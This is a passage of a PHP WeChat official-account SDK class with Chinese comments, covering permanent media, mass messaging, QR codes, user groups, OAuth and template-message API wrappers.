  1701. if (!isset($data['media_id'])) $data['media_id'] = $media_id;
  1702. if (!isset($data['index'])) $data['index'] = $index;
  1703. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_NEWS_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  1704. if ($result)
  1705. {
  1706. $json = json_decode($result,true);
  1707. if (!$json || !empty($json['errcode'])) {
  1708. $this->errCode = $json['errcode'];
  1709. $this->errMsg = $json['errmsg'];
  1710. return false;
  1711. }
  1712. return $json;
  1713. }
  1714. return false;
  1715. }
  1716.  
  1717. /**
  1718. * 获取永久素材(认证后的订阅号可用)
  1719. * 返回图文消息数组或二进制数据,失败返回false
  1720. * @param string $media_id 媒体文件id
  1721. * @param boolean $is_video 是否为视频文件,默认为否
  1722. * @return boolean|array|raw data
  1723. */
  1724. public function getForeverMedia($media_id,$is_video=false){
  1725. if (!$this->access_token && !$this->checkAuth()) return false;
  1726. $data = array('media_id' => $media_id);
  1727. //#TODO 暂不确定此接口是否需要让视频文件走http协议
  1728. //如果要获取的素材是视频文件时,不能使用https协议,必须更换成http协议
  1729. //$url_prefix = $is_video?str_replace('https','http',self::API_URL_PREFIX):self::API_URL_PREFIX;
  1730. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_GET_URL.'access_token='.$this->access_token,self::json_encode($data));
  1731. if ($result)
  1732. {
  1733. if (is_string($result)) {
  1734. $json = json_decode($result,true);
  1735. if ($json) {
  1736. if (isset($json['errcode'])) {
  1737. $this->errCode = $json['errcode'];
  1738. $this->errMsg = $json['errmsg'];
  1739. return false;
  1740. }
  1741. return $json;
  1742. } else {
  1743. return $result;
  1744. }
  1745. }
  1746. return $result;
  1747. }
  1748. return false;
  1749. }
  1750.  
  1751. /**
  1752. * 删除永久素材(认证后的订阅号可用)
  1753. * @param string $media_id 媒体文件id
  1754. * @return boolean
  1755. */
  1756. public function delForeverMedia($media_id){
  1757. if (!$this->access_token && !$this->checkAuth()) return false;
  1758. $data = array('media_id' => $media_id);
  1759. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_DEL_URL.'access_token='.$this->access_token,self::json_encode($data));
  1760. if ($result)
  1761. {
  1762. $json = json_decode($result,true);
  1763. if (!$json || !empty($json['errcode'])) {
  1764. $this->errCode = $json['errcode'];
  1765. $this->errMsg = $json['errmsg'];
  1766. return false;
  1767. }
  1768. return true;
  1769. }
  1770. return false;
  1771. }
  1772.  
  1773. /**
  1774. * 获取永久素材列表(认证后的订阅号可用)
  1775. * @param string $type 素材的类型,图片(image)、视频(video)、语音 (voice)、图文(news)
  1776. * @param int $offset 全部素材的偏移位置,0表示从第一个素材
  1777. * @param int $count 返回素材的数量,取值在1到20之间
  1778. * @return boolean|array
  1779. * 返回数组格式:
  1780. * array(
  1781. * 'total_count'=>0, //该类型的素材的总数
  1782. * 'item_count'=>0, //本次调用获取的素材的数量
  1783. * 'item'=>array() //素材列表数组,内容定义请参考官方文档
  1784. * )
  1785. */
  1786. public function getForeverList($type,$offset,$count){
  1787. if (!$this->access_token && !$this->checkAuth()) return false;
  1788. $data = array(
  1789. 'type' => $type,
  1790. 'offset' => $offset,
  1791. 'count' => $count,
  1792. );
  1793. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_BATCHGET_URL.'access_token='.$this->access_token,self::json_encode($data));
  1794. if ($result)
  1795. {
  1796. $json = json_decode($result,true);
  1797. if (isset($json['errcode'])) {
  1798. $this->errCode = $json['errcode'];
  1799. $this->errMsg = $json['errmsg'];
  1800. return false;
  1801. }
  1802. return $json;
  1803. }
  1804. return false;
  1805. }
  1806.  
  1807. /**
  1808. * 获取永久素材总数(认证后的订阅号可用)
  1809. * @return boolean|array
  1810. * 返回数组格式:
  1811. * array(
  1812. * 'voice_count'=>0, //语音总数量
  1813. * 'video_count'=>0, //视频总数量
  1814. * 'image_count'=>0, //图片总数量
  1815. * 'news_count'=>0 //图文总数量
  1816. * )
  1817. */
  1818. public function getForeverCount(){
  1819. if (!$this->access_token && !$this->checkAuth()) return false;
  1820. $result = $this->http_get(self::API_URL_PREFIX.self::MEDIA_FOREVER_COUNT_URL.'access_token='.$this->access_token);
  1821. if ($result)
  1822. {
  1823. $json = json_decode($result,true);
  1824. if (isset($json['errcode'])) {
  1825. $this->errCode = $json['errcode'];
  1826. $this->errMsg = $json['errmsg'];
  1827. return false;
  1828. }
  1829. return $json;
  1830. }
  1831. return false;
  1832. }
  1833.  
  1834. /**
  1835. * 上传图文消息素材,用于群发(认证后的订阅号可用)
  1836. * @param array $data 消息结构{"articles":[{...}]}
  1837. * @return boolean|array
  1838. */
  1839. public function uploadArticles($data){
  1840. if (!$this->access_token && !$this->checkAuth()) return false;
  1841. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_UPLOADNEWS_URL.'access_token='.$this->access_token,self::json_encode($data));
  1842. if ($result)
  1843. {
  1844. $json = json_decode($result,true);
  1845. if (!$json || !empty($json['errcode'])) {
  1846. $this->errCode = $json['errcode'];
  1847. $this->errMsg = $json['errmsg'];
  1848. return false;
  1849. }
  1850. return $json;
  1851. }
  1852. return false;
  1853. }
  1854.  
  1855. /**
  1856. * 上传视频素材(认证后的订阅号可用)
  1857. * @param array $data 消息结构
  1858. * {
  1859. * "media_id"=>"", //通过上传媒体接口得到的MediaId
  1860. * "title"=>"TITLE", //视频标题
  1861. * "description"=>"Description" //视频描述
  1862. * }
  1863. * @return boolean|array
  1864. * {
  1865. * "type":"video",
  1866. * "media_id":"mediaid",
  1867. * "created_at":1398848981
  1868. * }
  1869. */
  1870. public function uploadMpVideo($data){
  1871. if (!$this->access_token && !$this->checkAuth()) return false;
  1872. $result = $this->http_post(self::UPLOAD_MEDIA_URL.self::MEDIA_VIDEO_UPLOAD.'access_token='.$this->access_token,self::json_encode($data));
  1873. if ($result)
  1874. {
  1875. $json = json_decode($result,true);
  1876. if (!$json || !empty($json['errcode'])) {
  1877. $this->errCode = $json['errcode'];
  1878. $this->errMsg = $json['errmsg'];
  1879. return false;
  1880. }
  1881. return $json;
  1882. }
  1883. return false;
  1884. }
  1885.  
  1886. /**
  1887. * 高级群发消息, 根据OpenID列表群发图文消息(订阅号不可用)
  1888. * 注意:视频需要在调用uploadMedia()方法后,再使用 uploadMpVideo() 方法生成,
  1889. * 然后获得的 mediaid 才能用于群发,且消息类型为 mpvideo 类型。
  1890. * @param array $data 消息结构
  1891. * {
  1892. * "touser"=>array(
  1893. * "OPENID1",
  1894. * "OPENID2"
  1895. * ),
  1896. * "msgtype"=>"mpvideo",
  1897. * // 在下面5种类型中选择对应的参数内容
  1898. * // mpnews | voice | image | mpvideo => array( "media_id"=>"MediaId")
  1899. * // text => array ( "content" => "hello")
  1900. * }
  1901. * @return boolean|array
  1902. */
  1903. public function sendMassMessage($data){
  1904. if (!$this->access_token && !$this->checkAuth()) return false;
  1905. $result = $this->http_post(self::API_URL_PREFIX.self::MASS_SEND_URL.'access_token='.$this->access_token,self::json_encode($data));
  1906. if ($result)
  1907. {
  1908. $json = json_decode($result,true);
  1909. if (!$json || !empty($json['errcode'])) {
  1910. $this->errCode = $json['errcode'];
  1911. $this->errMsg = $json['errmsg'];
  1912. return false;
  1913. }
  1914. return $json;
  1915. }
  1916. return false;
  1917. }
  1918.  
  1919. /**
  1920. * 高级群发消息, 根据群组id群发图文消息(认证后的订阅号可用)
  1921. * 注意:视频需要在调用uploadMedia()方法后,再使用 uploadMpVideo() 方法生成,
  1922. * 然后获得的 mediaid 才能用于群发,且消息类型为 mpvideo 类型。
  1923. * @param array $data 消息结构
  1924. * {
  1925. * "filter"=>array(
  1926. * "is_to_all"=>False, //是否群发给所有用户.True不用分组id,False需填写分组id
  1927. * "group_id"=>"2" //群发的分组id
  1928. * ),
  1929. * "msgtype"=>"mpvideo",
  1930. * // 在下面5种类型中选择对应的参数内容
  1931. * // mpnews | voice | image | mpvideo => array( "media_id"=>"MediaId")
  1932. * // text => array ( "content" => "hello")
  1933. * }
  1934. * @return boolean|array
  1935. */
  1936. public function sendGroupMassMessage($data){
  1937. if (!$this->access_token && !$this->checkAuth()) return false;
  1938. $result = $this->http_post(self::API_URL_PREFIX.self::MASS_SEND_GROUP_URL.'access_token='.$this->access_token,self::json_encode($data));
  1939. if ($result)
  1940. {
  1941. $json = json_decode($result,true);
  1942. if (!$json || !empty($json['errcode'])) {
  1943. $this->errCode = $json['errcode'];
  1944. $this->errMsg = $json['errmsg'];
  1945. return false;
  1946. }
  1947. return $json;
  1948. }
  1949. return false;
  1950. }
  1951.  
  1952. /**
  1953. * 高级群发消息, 删除群发图文消息(认证后的订阅号可用)
  1954. * @param int $msg_id 消息id
  1955. * @return boolean|array
  1956. */
  1957. public function deleteMassMessage($msg_id){
  1958. if (!$this->access_token && !$this->checkAuth()) return false;
  1959. $result = $this->http_post(self::API_URL_PREFIX.self::MASS_DELETE_URL.'access_token='.$this->access_token,self::json_encode(array('msg_id'=>$msg_id)));
  1960. if ($result)
  1961. {
  1962. $json = json_decode($result,true);
  1963. if (!$json || !empty($json['errcode'])) {
  1964. $this->errCode = $json['errcode'];
  1965. $this->errMsg = $json['errmsg'];
  1966. return false;
  1967. }
  1968. return true;
  1969. }
  1970. return false;
  1971. }
  1972.  
  1973. /**
  1974. * 高级群发消息, 预览群发消息(认证后的订阅号可用)
  1975. * 注意:视频需要在调用uploadMedia()方法后,再使用 uploadMpVideo() 方法生成,
  1976. * 然后获得的 mediaid 才能用于群发,且消息类型为 mpvideo 类型。
  1977. * @param array $data 消息结构
  1978. * {
  1979. * "touser"=>"OPENID",
  1980. * "msgtype"=>"mpvideo",
  1981. * // 在下面5种类型中选择对应的参数内容
  1982. * // mpnews | voice | image | mpvideo => array( "media_id"=>"MediaId")
  1983. * // text => array ( "content" => "hello")
  1984. * }
  1985. * @return boolean|array
  1986. */
  1987. public function previewMassMessage($data){
  1988. if (!$this->access_token && !$this->checkAuth()) return false;
  1989. $result = $this->http_post(self::API_URL_PREFIX.self::MASS_PREVIEW_URL.'access_token='.$this->access_token,self::json_encode($data));
  1990. if ($result)
  1991. {
  1992. $json = json_decode($result,true);
  1993. if (!$json || !empty($json['errcode'])) {
  1994. $this->errCode = $json['errcode'];
  1995. $this->errMsg = $json['errmsg'];
  1996. return false;
  1997. }
  1998. return $json;
  1999. }
  2000. return false;
  2001. }
  2002.  
  2003. /**
  2004. * 高级群发消息, 查询群发消息发送状态(认证后的订阅号可用)
  2005. * @param int $msg_id 消息id
  2006. * @return boolean|array
  2007. * {
  2008. * "msg_id":201053012, //群发消息后返回的消息id
  2009. * "msg_status":"SEND_SUCCESS" //消息发送后的状态,SENDING表示正在发送 SEND_SUCCESS表示发送成功
  2010. * }
  2011. */
  2012. public function queryMassMessage($msg_id){
  2013. if (!$this->access_token && !$this->checkAuth()) return false;
  2014. $result = $this->http_post(self::API_URL_PREFIX.self::MASS_QUERY_URL.'access_token='.$this->access_token,self::json_encode(array('msg_id'=>$msg_id)));
  2015. if ($result)
  2016. {
  2017. $json = json_decode($result,true);
  2018. if (!$json || !empty($json['errcode'])) {
  2019. $this->errCode = $json['errcode'];
  2020. $this->errMsg = $json['errmsg'];
  2021. return false;
  2022. }
  2023. return $json;
  2024. }
  2025. return false;
  2026. }
  2027.  
  2028. /**
  2029. * 创建二维码ticket
  2030. * @param int|string $scene_id 自定义追踪id,临时二维码只能用数值型
  2031. * @param int $type 0:临时二维码;1:永久二维码(此时expire参数无效);2:永久二维码(此时expire参数无效)
  2032. * @param int $expire 临时二维码有效期,最大为604800秒
  2033. * @return array('ticket'=>'qrcode字串','expire_seconds'=>604800,'url'=>'二维码图片解析后的地址')
  2034. */
  2035. public function getQRCode($scene_id,$type=0,$expire=604800){
  2036. if (!$this->access_token && !$this->checkAuth()) return false;
  2037. $type = ($type && is_string($scene_id))?2:$type;
  2038. $data = array(
  2039. 'action_name'=>$type?($type == 2?"QR_LIMIT_STR_SCENE":"QR_LIMIT_SCENE"):"QR_SCENE",
  2040. 'expire_seconds'=>$expire,
  2041. 'action_info'=>array('scene'=>($type == 2?array('scene_str'=>$scene_id):array('scene_id'=>$scene_id)))
  2042. );
  2043. if ($type == 1) {
  2044. unset($data['expire_seconds']);
  2045. }
  2046. $result = $this->http_post(self::API_URL_PREFIX.self::QRCODE_CREATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  2047. if ($result)
  2048. {
  2049. $json = json_decode($result,true);
  2050. if (!$json || !empty($json['errcode'])) {
  2051. $this->errCode = $json['errcode'];
  2052. $this->errMsg = $json['errmsg'];
  2053. return false;
  2054. }
  2055. return $json;
  2056. }
  2057. return false;
  2058. }
  2059.  
  2060. /**
  2061. * 获取二维码图片
  2062. * @param string $ticket 传入由getQRCode方法生成的ticket参数
  2063. * @return string url 返回http地址
  2064. */
  2065. public function getQRUrl($ticket) {
  2066. return self::QRCODE_IMG_URL.urlencode($ticket);
  2067. }
  2068.  
  2069. /**
  2070. * 长链接转短链接接口
  2071. * @param string $long_url 传入要转换的长url
  2072. * @return boolean|string url 成功则返回转换后的短url
  2073. */
  2074. public function getShortUrl($long_url){
  2075. if (!$this->access_token && !$this->checkAuth()) return false;
  2076. $data = array(
  2077. 'action'=>'long2short',
  2078. 'long_url'=>$long_url
  2079. );
  2080. $result = $this->http_post(self::API_URL_PREFIX.self::SHORT_URL.'access_token='.$this->access_token,self::json_encode($data));
  2081. if ($result)
  2082. {
  2083. $json = json_decode($result,true);
  2084. if (!$json || !empty($json['errcode'])) {
  2085. $this->errCode = $json['errcode'];
  2086. $this->errMsg = $json['errmsg'];
  2087. return false;
  2088. }
  2089. return $json['short_url'];
  2090. }
  2091. return false;
  2092. }
  2093.  
  2094. /**
  2095. * 获取统计数据
  2096. * @param string $type 数据分类(user|article|upstreammsg|interface)分别为(用户分析|图文分析|消息分析|接口分析)
  2097. * @param string $subtype 数据子分类,参考 DATACUBE_URL_ARR 常量定义部分 或者README.md说明文档
  2098. * @param string $begin_date 开始时间
  2099. * @param string $end_date 结束时间
  2100. * @return boolean|array 成功返回查询结果数组,其定义请看官方文档
  2101. */
  2102. public function getDatacube($type,$subtype,$begin_date,$end_date=''){
  2103. if (!$this->access_token && !$this->checkAuth()) return false;
  2104. if (!isset(self::$DATACUBE_URL_ARR[$type]) || !isset(self::$DATACUBE_URL_ARR[$type][$subtype]))
  2105. return false;
  2106. $data = array(
  2107. 'begin_date'=>$begin_date,
  2108. 'end_date'=>$end_date?$end_date:$begin_date
  2109. );
  2110. $result = $this->http_post(self::API_BASE_URL_PREFIX.self::$DATACUBE_URL_ARR[$type][$subtype].'access_token='.$this->access_token,self::json_encode($data));
  2111. if ($result)
  2112. {
  2113. $json = json_decode($result,true);
  2114. if (!$json || !empty($json['errcode'])) {
  2115. $this->errCode = $json['errcode'];
  2116. $this->errMsg = $json['errmsg'];
  2117. return false;
  2118. }
  2119. return isset($json['list'])?$json['list']:$json;
  2120. }
  2121. return false;
  2122. }
  2123.  
  2124. /**
  2125. * 批量获取关注用户列表
  2126. * @param unknown $next_openid
  2127. */
  2128. public function getUserList($next_openid=''){
  2129. if (!$this->access_token && !$this->checkAuth()) return false;
  2130. $result = $this->http_get(self::API_URL_PREFIX.self::USER_GET_URL.'access_token='.$this->access_token.'&next_openid='.$next_openid);
  2131. if ($result)
  2132. {
  2133. $json = json_decode($result,true);
  2134. if (isset($json['errcode'])) {
  2135. $this->errCode = $json['errcode'];
  2136. $this->errMsg = $json['errmsg'];
  2137. return false;
  2138. }
  2139. return $json;
  2140. }
  2141. return false;
  2142. }
  2143.  
  2144. /**
  2145. * 获取关注者详细信息
  2146. * @param string $openid
  2147. * @return array {subscribe,openid,nickname,sex,city,province,country,language,headimgurl,subscribe_time,[unionid]}
  2148. * 注意:unionid字段 只有在用户将公众号绑定到微信开放平台账号后,才会出现。建议调用前用isset()检测一下
  2149. */
  2150. public function getUserInfo($openid){
  2151. if (!$this->access_token && !$this->checkAuth()) return false;
  2152. $result = $this->http_get(self::API_URL_PREFIX.self::USER_INFO_URL.'access_token='.$this->access_token.'&openid='.$openid);
  2153. if ($result)
  2154. {
  2155. $json = json_decode($result,true);
  2156. if (isset($json['errcode'])) {
  2157. $this->errCode = $json['errcode'];
  2158. $this->errMsg = $json['errmsg'];
  2159. return false;
  2160. }
  2161. return $json;
  2162. }
  2163. return false;
  2164. }
  2165.  
  2166. /**
  2167. * 设置用户备注名
  2168. * @param string $openid
  2169. * @param string $remark 备注名
  2170. * @return boolean|array
  2171. */
  2172. public function updateUserRemark($openid,$remark){
  2173. if (!$this->access_token && !$this->checkAuth()) return false;
  2174. $data = array(
  2175. 'openid'=>$openid,
  2176. 'remark'=>$remark
  2177. );
  2178. $result = $this->http_post(self::API_URL_PREFIX.self::USER_UPDATEREMARK_URL.'access_token='.$this->access_token,self::json_encode($data));
  2179. if ($result)
  2180. {
  2181. $json = json_decode($result,true);
  2182. if (!$json || !empty($json['errcode'])) {
  2183. $this->errCode = $json['errcode'];
  2184. $this->errMsg = $json['errmsg'];
  2185. return false;
  2186. }
  2187. return $json;
  2188. }
  2189. return false;
  2190. }
  2191.  
  2192. /**
  2193. * 获取用户分组列表
  2194. * @return boolean|array
  2195. */
  2196. public function getGroup(){
  2197. if (!$this->access_token && !$this->checkAuth()) return false;
  2198. $result = $this->http_get(self::API_URL_PREFIX.self::GROUP_GET_URL.'access_token='.$this->access_token);
  2199. if ($result)
  2200. {
  2201. $json = json_decode($result,true);
  2202. if (isset($json['errcode'])) {
  2203. $this->errCode = $json['errcode'];
  2204. $this->errMsg = $json['errmsg'];
  2205. return false;
  2206. }
  2207. return $json;
  2208. }
  2209. return false;
  2210. }
  2211.  
  2212. /**
  2213. * 获取用户所在分组
  2214. * @param string $openid
  2215. * @return boolean|int 成功则返回用户分组id
  2216. */
  2217. public function getUserGroup($openid){
  2218. if (!$this->access_token && !$this->checkAuth()) return false;
  2219. $data = array(
  2220. 'openid'=>$openid
  2221. );
  2222. $result = $this->http_post(self::API_URL_PREFIX.self::USER_GROUP_URL.'access_token='.$this->access_token,self::json_encode($data));
  2223. if ($result)
  2224. {
  2225. $json = json_decode($result,true);
  2226. if (!$json || !empty($json['errcode'])) {
  2227. $this->errCode = $json['errcode'];
  2228. $this->errMsg = $json['errmsg'];
  2229. return false;
  2230. } else
  2231. if (isset($json['groupid'])) return $json['groupid'];
  2232. }
  2233. return false;
  2234. }
  2235.  
  2236. /**
  2237. * 新增自定分组
  2238. * @param string $name 分组名称
  2239. * @return boolean|array
  2240. */
  2241. public function createGroup($name){
  2242. if (!$this->access_token && !$this->checkAuth()) return false;
  2243. $data = array(
  2244. 'group'=>array('name'=>$name)
  2245. );
  2246. $result = $this->http_post(self::API_URL_PREFIX.self::GROUP_CREATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  2247. if ($result)
  2248. {
  2249. $json = json_decode($result,true);
  2250. if (!$json || !empty($json['errcode'])) {
  2251. $this->errCode = $json['errcode'];
  2252. $this->errMsg = $json['errmsg'];
  2253. return false;
  2254. }
  2255. return $json;
  2256. }
  2257. return false;
  2258. }
  2259.  
  2260. /**
  2261. * 更改分组名称
  2262. * @param int $groupid 分组id
  2263. * @param string $name 分组名称
  2264. * @return boolean|array
  2265. */
  2266. public function updateGroup($groupid,$name){
  2267. if (!$this->access_token && !$this->checkAuth()) return false;
  2268. $data = array(
  2269. 'group'=>array('id'=>$groupid,'name'=>$name)
  2270. );
  2271. $result = $this->http_post(self::API_URL_PREFIX.self::GROUP_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  2272. if ($result)
  2273. {
  2274. $json = json_decode($result,true);
  2275. if (!$json || !empty($json['errcode'])) {
  2276. $this->errCode = $json['errcode'];
  2277. $this->errMsg = $json['errmsg'];
  2278. return false;
  2279. }
  2280. return $json;
  2281. }
  2282. return false;
  2283. }
  2284.  
  2285. /**
  2286. * 移动用户分组
  2287. * @param int $groupid 分组id
  2288. * @param string $openid 用户openid
  2289. * @return boolean|array
  2290. */
  2291. public function updateGroupMembers($groupid,$openid){
  2292. if (!$this->access_token && !$this->checkAuth()) return false;
  2293. $data = array(
  2294. 'openid'=>$openid,
  2295. 'to_groupid'=>$groupid
  2296. );
  2297. $result = $this->http_post(self::API_URL_PREFIX.self::GROUP_MEMBER_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  2298. if ($result)
  2299. {
  2300. $json = json_decode($result,true);
  2301. if (!$json || !empty($json['errcode'])) {
  2302. $this->errCode = $json['errcode'];
  2303. $this->errMsg = $json['errmsg'];
  2304. return false;
  2305. }
  2306. return $json;
  2307. }
  2308. return false;
  2309. }
  2310.  
  2311. /**
  2312. * 批量移动用户分组
  2313. * @param int $groupid 分组id
  2314. * @param string $openid_list 用户openid数组,一次不能超过50个
  2315. * @return boolean|array
  2316. */
  2317. public function batchUpdateGroupMembers($groupid,$openid_list){
  2318. if (!$this->access_token && !$this->checkAuth()) return false;
  2319. $data = array(
  2320. 'openid_list'=>$openid_list,
  2321. 'to_groupid'=>$groupid
  2322. );
  2323. $result = $this->http_post(self::API_URL_PREFIX.self::GROUP_MEMBER_BATCHUPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  2324. if ($result)
  2325. {
  2326. $json = json_decode($result,true);
  2327. if (!$json || !empty($json['errcode'])) {
  2328. $this->errCode = $json['errcode'];
  2329. $this->errMsg = $json['errmsg'];
  2330. return false;
  2331. }
  2332. return $json;
  2333. }
  2334. return false;
  2335. }
  2336.  
  2337. /**
  2338. * 发送客服消息
  2339. * @param array $data 消息结构{"touser":"OPENID","msgtype":"news","news":{...}}
  2340. * @return boolean|array
  2341. */
  2342. public function sendCustomMessage($data){
  2343. if (!$this->access_token && !$this->checkAuth()) return false;
  2344. $result = $this->http_post(self::API_URL_PREFIX.self::CUSTOM_SEND_URL.'access_token='.$this->access_token,self::json_encode($data));
  2345. if ($result)
  2346. {
  2347. $json = json_decode($result,true);
  2348. if (!$json || !empty($json['errcode'])) {
  2349. $this->errCode = $json['errcode'];
  2350. $this->errMsg = $json['errmsg'];
  2351. return false;
  2352. }
  2353. return $json;
  2354. }
  2355. return false;
  2356. }
  2357.  
  2358. /**
  2359. * oauth 授权跳转接口
  2360. * @param string $callback 回调URI
  2361. * @return string
  2362. */
  2363. public function getOauthRedirect($callback,$state='',$scope='snsapi_userinfo'){
  2364. return self::OAUTH_PREFIX.self::OAUTH_AUTHORIZE_URL.'appid='.$this->appid.'&redirect_uri='.urlencode($callback).'&response_type=code&scope='.$scope.'&state='.$state.'#wechat_redirect';
  2365. }
  2366.  
  2367. /**
  2368. * 通过code获取Access Token
  2369. * @return array {access_token,expires_in,refresh_token,openid,scope}
  2370. */
  2371. public function getOauthAccessToken(){
  2372. $code = isset($_GET['code'])?$_GET['code']:'';
  2373. if (!$code) return false;
  2374. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_TOKEN_URL.'appid='.$this->appid.'&secret='.$this->appsecret.'&code='.$code.'&grant_type=authorization_code');
  2375. if ($result)
  2376. {
  2377. $json = json_decode($result,true);
  2378. if (!$json || !empty($json['errcode'])) {
  2379. $this->errCode = $json['errcode'];
  2380. $this->errMsg = $json['errmsg'];
  2381. return false;
  2382. }
  2383. $this->user_token = $json['access_token'];
  2384. return $json;
  2385. }
  2386. return false;
  2387. }
  2388.  
  2389. /**
  2390. * 刷新access token并续期
  2391. * @param string $refresh_token
  2392. * @return boolean|mixed
  2393. */
  2394. public function getOauthRefreshToken($refresh_token){
  2395. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_REFRESH_URL.'appid='.$this->appid.'&grant_type=refresh_token&refresh_token='.$refresh_token);
  2396. if ($result)
  2397. {
  2398. $json = json_decode($result,true);
  2399. if (!$json || !empty($json['errcode'])) {
  2400. $this->errCode = $json['errcode'];
  2401. $this->errMsg = $json['errmsg'];
  2402. return false;
  2403. }
  2404. $this->user_token = $json['access_token'];
  2405. return $json;
  2406. }
  2407. return false;
  2408. }
  2409.  
  2410. /**
  2411. * 获取授权后的用户资料
  2412. * @param string $access_token
  2413. * @param string $openid
  2414. * @return array {openid,nickname,sex,province,city,country,headimgurl,privilege,[unionid]}
  2415. * 注意:unionid字段 只有在用户将公众号绑定到微信开放平台账号后,才会出现。建议调用前用isset()检测一下
  2416. */
  2417. public function getOauthUserinfo($access_token,$openid){
  2418. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_USERINFO_URL.'access_token='.$access_token.'&openid='.$openid);
  2419. if ($result)
  2420. {
  2421. $json = json_decode($result,true);
  2422. if (!$json || !empty($json['errcode'])) {
  2423. $this->errCode = $json['errcode'];
  2424. $this->errMsg = $json['errmsg'];
  2425. return false;
  2426. }
  2427. return $json;
  2428. }
  2429. return false;
  2430. }
  2431.  
  2432. /**
  2433. * 检验授权凭证是否有效
  2434. * @param string $access_token
  2435. * @param string $openid
  2436. * @return boolean 是否有效
  2437. */
  2438. public function getOauthAuth($access_token,$openid){
  2439. $result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_AUTH_URL.'access_token='.$access_token.'&openid='.$openid);
  2440. if ($result)
  2441. {
  2442. $json = json_decode($result,true);
  2443. if (!$json || !empty($json['errcode'])) {
  2444. $this->errCode = $json['errcode'];
  2445. $this->errMsg = $json['errmsg'];
  2446. return false;
  2447. } else
  2448. if ($json['errcode']==0) return true;
  2449. }
  2450. return false;
  2451. }
  2452.  
  2453. /**
  2454. * 模板消息 设置所属行业
  2455. * @param int $id1 公众号模板消息所属行业编号,参看官方开发文档 行业代码
  2456. * @param int $id2 同$id1。但如果只有一个行业,此参数可省略
  2457. * @return boolean|array
  2458. */
  2459. public function setTMIndustry($id1,$id2=''){
  2460. if ($id1) $data['industry_id1'] = $id1;
  2461. if ($id2) $data['industry_id2'] = $id2;
  2462. if (!$this->access_token && !$this->checkAuth()) return false;
  2463. $result = $this->http_post(self::API_URL_PREFIX.self::TEMPLATE_SET_INDUSTRY_URL.'access_token='.$this->access_token,self::json_encode($data));
  2464. if($result){
  2465. $json = json_decode($result,true);
  2466. if (!$json || !empty($json['errcode'])) {
  2467. $this->errCode = $json['errcode'];
  2468. $this->errMsg = $json['errmsg'];
  2469. return false;
  2470. }
  2471. return $json;
  2472. }
  2473. return false;
  2474. }
  2475.  
  2476. /**
  2477. * 模板消息 添加消息模板
  2478. * 成功返回消息模板的调用id
  2479. * @param string $tpl_id 模板库中模板的编号,有“TM**”和“OPENTMTM**”等形式
  2480. * @return boolean|string
  2481. */
  2482. public function addTemplateMessage($tpl_id){
  2483. $data = array ('template_id_short' =>$tpl_id);
  2484. if (!$this->access_token && !$this->checkAuth()) return false;
  2485. $result = $this->http_post(self::API_URL_PREFIX.self::TEMPLATE_ADD_TPL_URL.'access_token='.$this->access_token,self::json_encode($data));
  2486. if($result){
  2487. $json = json_decode($result,true);
  2488. if (!$json || !empty($json['errcode'])) {
  2489. $this->errCode = $json['errcode'];
  2490. $this->errMsg = $json['errmsg'];
  2491. return false;
  2492. }
  2493. return $json['template_id'];
  2494. }
  2495. return false;
  2496. }
  2497.  
  2498. /**
  2499. * 发送模板消息
  2500. * @param array $data 消息结构
  2501. * {
  2502. "touser":"OPENID",
  2503. "template_id":"ngqIpbwh8bUfcSsECmogfXcV14J0tQlEpBO27izEYtY",
  2504. "url":"http://weixin.qq.com/download",
  2505. "topcolor":"#FF0000",
  2506. "data":{
  2507. "参数名1": {
  2508. "value":"参数",
  2509. "color":"#173177" //参数颜色
  2510. },
  2511. "Date":{
  2512. "value":"06月07日 19时24分",
  2513. "color":"#173177"
  2514. },
  2515. "CardNumber":{
  2516. "value":"0426",
  2517. "color":"#173177"
  2518. },
  2519. "Type":{
  2520. "value":"消费",
  2521. "color":"#173177"
  2522. }
  2523. }
  2524. }
  2525. * @return boolean|array
  2526. */
  2527. public function sendTemplateMessage($data){
  2528. if (!$this->access_token && !$this->checkAuth()) return false;
  2529. $result = $this->http_post(self::API_URL_PREFIX.self::TEMPLATE_SEND_URL.'access_token='.$this->access_token,self::json_encode($data));
  2530. if($result){
  2531. $json = json_decode($result,true);
  2532. if (!$json || !empty($json['errcode'])) {
  2533. $this->errCode = $json['errcode'];
  2534. $this->errMsg = $json['errmsg'];
  2535. return false;
  2536. }
  2537. return $json;
  2538. }
  2539. return false;
  2540. }
  2541.  
  2542. /**
  2543. * 获取多客服会话记录
  2544. * @param array $data 数据结构{"starttime":123456789,"endtime":987654321,"openid":"OPENID","pagesize":10,"pageindex":1,}
  2545. * @return boolean|array
  2546. */
  2547. public function getCustomServiceMessage($data){
  2548. if (!$this->access_token && !$this->checkAuth()) return false;
  2549. $result = $this->http_post(self::API_URL_PREFIX.self::CUSTOM_SERVICE_GET_RECORD.'access_token='.$this->access_token,self::json_encode($data));
  2550. if ($result)
  2551. {
  2552. $json = json_decode($result,true);
  2553. if (!$json || !empty($json['errcode'])) {
  2554. $this->errCode = $json['errcode'];
  2555. $this->errMsg = $json['errmsg'];
  2556. return false;
  2557. }
  2558. return $json;
  2559. }
  2560. return false;
  2561. }
  2562.  
  2563. /**
  2564. * 转发多客服消息
  2565. * Example: $obj->transfer_customer_service($customer_account)->reply();
  2566. * @param string $customer_account 转发到指定客服帐号:test1@test
  2567. */
  2568. public function transfer_customer_service($customer_account = '')
  2569. {
  2570. $msg = array(
  2571. 'ToUserName' => $this->getRevFrom(),
  2572. 'FromUserName'=>$this->getRevTo(),
  2573. 'CreateTime'=>time(),
  2574. 'MsgType'=>'transfer_customer_service',
  2575. );
  2576. if ($customer_account) {
  2577. $msg['TransInfo'] = array('KfAccount'=>$customer_account);
  2578. }
  2579. $this->Message($msg);
  2580. return $this;
  2581. }
  2582.  
